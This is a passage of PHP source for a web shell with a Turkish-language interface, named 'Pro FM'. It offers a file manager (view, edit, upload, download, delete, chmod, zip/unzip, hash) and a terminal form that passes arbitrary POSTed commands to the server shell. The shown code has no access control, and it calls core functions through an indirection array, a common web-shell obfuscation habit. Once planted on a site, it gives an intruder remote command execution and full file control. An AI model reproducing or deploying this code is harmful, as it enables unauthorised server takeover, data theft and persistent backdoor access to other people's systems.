                echo '<tr style="border:0"><td style="border:0;border-right:1px solid var(--border);padding:0 8px;text-align:right;color:var(--text2);font-size:11px;user-select:none;width:1%;white-space:nowrap;background:var(--surface)">' . $ln . '</td><td style="border:0;padding:0 10px;white-space:pre-wrap;font-family:var(--mono);font-size:12px;line-height:1.6">' . $line . '</td></tr>';
            }
            echo '</tbody></table></div>';
        }
        echo '</div></body></html>';
        exit;
    }
}

// ==================== DOSYA DÜZENLEME ====================
if (isset($_GET['edit'])) {
    $f = $D . '/' . $_GET['edit'];
    if (is_file($f)) {
        $c = @$F['r']($f);
        echo '<div class="panel"><h3><span class="mi">edit_note</span> ' . htmlentities($_GET['edit']) . '</h3>';
        echo '<form method="POST"><input type="hidden" name="ef" value="' . htmlentities($_GET['edit']) . '">';
        echo '<textarea name="ec" class="editor-area" spellcheck="false">' . htmlspecialchars($c) . '</textarea>';
        echo '<div style="margin-top:10px;display:flex;gap:6px">';
        echo '<button class="btn"><span class="mi mi-sm">save</span> Kaydet</button>';
        echo '<a href="' . $url . '" class="btn btn-danger"><span class="mi mi-sm">close</span> Iptal</a>';
        echo '</div></form></div></body></html>';
        exit;
    }
}

// ==================== DOSYA HASH BİLGİSİ ====================
if (isset($_GET['hash'])) {
    $f = $D . '/' . $_GET['hash'];
    if (is_file($f)) {
        echo '<div class="panel"><h3><span class="mi">fingerprint</span> Hash: ' . htmlentities($_GET['hash']) . '</h3>';
        echo '<div class="info-grid">';
        echo '<div class="info-box"><b>MD5</b><div class="val">' . @md5_file($f) . '</div></div>';
        echo '<div class="info-box"><b>SHA1</b><div class="val">' . @sha1_file($f) . '</div></div>';
        echo '<div class="info-box"><b>SHA256</b><div class="val">' . @hash_file('sha256', $f) . '</div></div>';
        echo '<div class="info-box"><b>CRC32</b><div class="val">' . @hash_file('crc32b', $f) . '</div></div>';
        echo '<div class="info-box"><b>Boyut</b><div class="val">' . sz(filesize($f)) . ' (' . filesize($f) . ' bytes)</div></div>';
        echo '<div class="info-box"><b>MIME</b><div class="val">' . (@mime_content_type($f) ?: '?') . '</div></div>';
        echo '</div><div style="margin-top:12px"><a href="' . $url . '" class="btn btn-ghost"><span class="mi mi-sm">arrow_back</span> Geri</a></div></div>';
        echo '</body></html>';
        exit;
    }
}

// ==================== TOOLBAR ====================
?>
<div class="toolbar">
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="up[]" multiple required>
        <button class="btn btn-sm"><span class="mi mi-sm">upload</span> Yukle</button>
    </form>
    <div class="divider"></div>
    <form method="POST">
        <input type="text" name="nd" placeholder="Klasor adi" required style="width:120px">
        <button class="btn btn-sm"><span class="mi mi-sm">create_new_folder</span></button>
    </form>
    <form method="POST">
        <input type="text" name="nf" placeholder="Dosya adi" required style="width:120px">
        <button class="btn btn-sm"><span class="mi mi-sm">note_add</span></button>
    </form>
</div>

<!-- ==================== DOSYA LİSTESİ ==================== -->
<form id="bulkForm" method="POST">
<input type="hidden" name="bulk_action" id="bulk_action" value="">
<input type="hidden" name="zip_name" id="zip_name" value="">
<input type="hidden" name="bulk_perm" id="bulk_perm" value="">

<div class="bulk-bar">
    <span style="color:var(--blue);font-size:12px"><span class="mi mi-sm">checklist</span> Secili:</span>
    <span class="btn btn-sm btn-danger" onclick="doBulk('delete')"><span class="mi mi-sm">delete</span> Sil</span>
    <span class="btn btn-sm btn-warn" onclick="doBulk('chmod')"><span class="mi mi-sm">lock</span> Chmod</span>
    <span class="btn btn-sm" onclick="doBulk('zip')"><span class="mi mi-sm">folder_zip</span> Zip</span>
</div>

<div style="overflow-x:auto">
<table class="file-table">
    <thead>
        <tr>
            <th style="width:30px"><input type="checkbox" class="cb" onclick="toggleAll(this)"></th>
            <th>Ad</th>
            <th>Boyut</th>
            <th>Izin</th>
            <th>Sahip</th>
            <th>Degistirilme</th>
            <th>Islemler</th>
        </tr>
    </thead>
    <tbody>
        <?php
        // Üst dizin
        $pr = dirname($D);
        if ($pr !== $D) {
            echo '<tr>';
            echo '<td></td>';
            echo '<td><a href="?d=' . urlencode($pr) . '" class="fname dir"><span class="mi">drive_folder_upload</span> ..</a></td>';
            echo '<td>-</td>';
            echo '<td>-</td>';
            echo '<td>-</td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        
        // Dosya ve klasörleri topla
        $items = @$F['s']($D);
        $dirs = [];
        $files = [];
        if (is_array($items)) {
            foreach ($items as $x) {
                if ($x === '.' || $x === '..') continue;
                is_dir($D . '/' . $x) ? $dirs[] = $x : $files[] = $x;
            }
            sort($dirs);
            sort($files);
        }
        
        // Sahip bilgisi
        function getOwner($path) {
            if (function_exists('posix_getpwuid')) {
                $o = @posix_getpwuid(@fileowner($path));
                $g = @posix_getgrgid(@filegroup($path));
                return ($o['name'] ?? '?') . ':' . ($g['name'] ?? '?');
            }
            return @fileowner($path) . ':' . @filegroup($path);
        }
        
        // ===== KLASÖRLER =====
        foreach ($dirs as $d) {
            $rp = $D . '/' . $d;
            $p = substr(sprintf('%o', @fileperms($rp)), -4);
            $m = date("Y-m-d H:i", @filemtime($rp));
            $own = getOwner($rp);
            echo '<tr>';
            echo '<td><input type="checkbox" name="sel[]" value="' . htmlentities($d) . '" class="cb sel-cb"></td>';
            echo '<td><a href="?d=' . urlencode($rp) . '" class="fname dir"><span class="mi">folder</span> ' . htmlentities($d) . '</a></td>';
            echo '<td class="size">-</td>';
            echo '<td class="perm">' . $p . '</td>';
            echo '<td class="perm">' . $own . '</td>';
            echo '<td class="date">' . $m . '</td>';
            echo '<td class="actions">';
            echo '<button type="button" class="btn-icon" onclick="rn(\'' . addslashes($d) . '\')" title="Yeniden Adlandir"><span class="mi mi-sm">drive_file_rename_outline</span></button>';
            echo '<button type="button" class="btn-icon" onclick="chm(\'' . addslashes($d) . '\')" title="Chmod"><span class="mi mi-sm">lock</span></button>';
            echo '<a href="' . $url . '&del=' . urlencode($d) . '" class="btn-icon" onclick="return confirm(\'Klasor ve icerigi silinecek!\')" title="Sil"><span class="mi mi-sm" style="color:var(--red)">delete</span></a>';
            echo '</td></tr>';
        }
        
        // ===== DOSYALAR =====
        foreach ($files as $f) {
            $rp = $D . '/' . $f;
            $s = sz(@filesize($rp));
            $p = substr(sprintf('%o', @fileperms($rp)), -4);
            $m = date("Y-m-d H:i", @filemtime($rp));
            $own = getOwner($rp);
            $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
            $icon = fileIcon($ext);
            $isZip = in_array($ext, ['zip', 'tar', 'gz', 'rar', '7z']);
            
            echo '<tr>';
            echo '<td><input type="checkbox" name="sel[]" value="' . htmlentities($f) . '" class="cb sel-cb"></td>';
            echo '<td><span class="fname"><span class="mi">' . $icon . '</span> ' . htmlentities($f) . '</span></td>';
            echo '<td class="size">' . $s . '</td>';
            echo '<td class="perm">' . $p . '</td>';
            echo '<td class="perm">' . $own . '</td>';
            echo '<td class="date">' . $m . '</td>';
            echo '<td class="actions">';
            echo '<a href="' . $url . '&view=' . urlencode($f) . '" class="btn-icon" title="Onizle"><span class="mi mi-sm">visibility</span></a>';
            echo '<a href="' . $url . '&edit=' . urlencode($f) . '" class="btn-icon" title="Duzenle"><span class="mi mi-sm">edit</span></a>';
            echo '<a href="' . $url . '&dl=' . urlencode($f) . '" class="btn-icon" title="Indir"><span class="mi mi-sm" style="color:var(--green)">download</span></a>';
            echo '<a href="' . $url . '&hash=' . urlencode($f) . '" class="btn-icon" title="Hash"><span class="mi mi-sm">fingerprint</span></a>';
            echo '<button type="button" class="btn-icon" onclick="rn(\'' . addslashes($f) . '\')" title="Yeniden Adlandir"><span class="mi mi-sm">drive_file_rename_outline</span></button>';
            echo '<button type="button" class="btn-icon" onclick="chm(\'' . addslashes($f) . '\')" title="Chmod"><span class="mi mi-sm">lock</span></button>';
            echo '<button type="button" class="btn-icon" onclick="cpFile(\'' . addslashes($f) . '\')" title="Kopyala"><span class="mi mi-sm">content_copy</span></button>';
            echo '<button type="button" class="btn-icon" onclick="mvFile(\'' . addslashes($f) . '\')" title="Tasi"><span class="mi mi-sm">drive_file_move</span></button>';
            if ($isZip && $ext === 'zip') echo '<a href="' . $url . '&unzip=' . urlencode($f) . '" class="btn-icon" title="Zip Cikar"><span class="mi mi-sm" style="color:var(--yellow)">unarchive</span></a>';
            echo '<a href="' . $url . '&del=' . urlencode($f) . '" class="btn-icon" onclick="return confirm(\'Dosya silinecek!\')" title="Sil"><span class="mi mi-sm" style="color:var(--red)">delete</span></a>';
            echo '</td></tr>';
        }
        
        if (empty($dirs) && empty($files)) {
            echo '<tr><td colspan="7" style="text-align:center;color:var(--text2);padding:30px"><span class="mi" style="font-size:36px;display:block;margin-bottom:8px;opacity:.3">folder_off</span>Klasor bos.</td></tr>';
        }
        ?>
    </tbody>
</table>
</div>
</form>

<!-- ==================== TERMİNAL ==================== -->
<div class="term-wrap">
    <form method="POST" class="term-form">
        <span class="term-prompt"><?php echo htmlentities(function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user()); ?>@<?php echo htmlentities(php_uname('n')); ?>:<?php echo htmlentities($D); ?>$</span>
        <input type="text" name="cmd" class="term-input" placeholder="komut girin..." autocomplete="off" autofocus>
        <button class="btn"><span class="mi mi-sm">play_arrow</span></button>
    </form>
    <?php
    if (isset($_POST['cmd']) && !empty(trim($_POST['cmd']))) {
        $cmd = $_POST['cmd'];
        // cd komutu desteği
        if (preg_match('/^cd\s+(.+)/', $cmd, $cdMatch)) {
            $target = trim($cdMatch[1]);
            if ($target === '~') $target = getenv('HOME') ?: '/root';
            if ($target[0] !== '/') $target = $D . '/' . $target;
            $resolved = realpath($target);
            if ($resolved && is_dir($resolved)) {
                header("Location: ?d=" . urlencode($resolved));
                exit;
            } else {
                echo '<div class="term-output" style="color:var(--red)">cd: ' . $target . ': Dizin bulunamadi</div>';
            }
        } else {
            $output = execCmd('cd ' . escapeshellarg($D) . ' && ' . $cmd);
            echo '<div class="term-output">' . htmlspecialchars($output) . '</div>';
        }
    }
    ?>
</div>

<!-- ==================== FOOTER ==================== -->
<div style="text-align:center;margin-top:15px;padding:10px;color:var(--text2);font-size:11px;border-top:1px solid var(--border)">
    <span class="mi mi-sm" style="vertical-align:middle">terminal</span> Pro FM &mdash; PHP <?php echo phpversion(); ?> &mdash;
    <?php
    $items = @$F['s']($D);
    $dc = 0;
    $fc = 0;
    if (is_array($items)) {
        foreach ($items as $x) {
            if ($x === '.' || $x === '..') continue;
            is_dir($D . '/' . $x) ? $dc++ : $fc++;
        }
    }
    echo $dc . ' klasor, ' . $fc . ' dosya';
    $td = @disk_total_space($D);
    $fd = @disk_free_space($D);
    if ($td) echo ' &mdash; Disk: ' . sz($fd) . ' / ' . sz($td) . ' bos';
    ?>
</div>

</body>
</html>
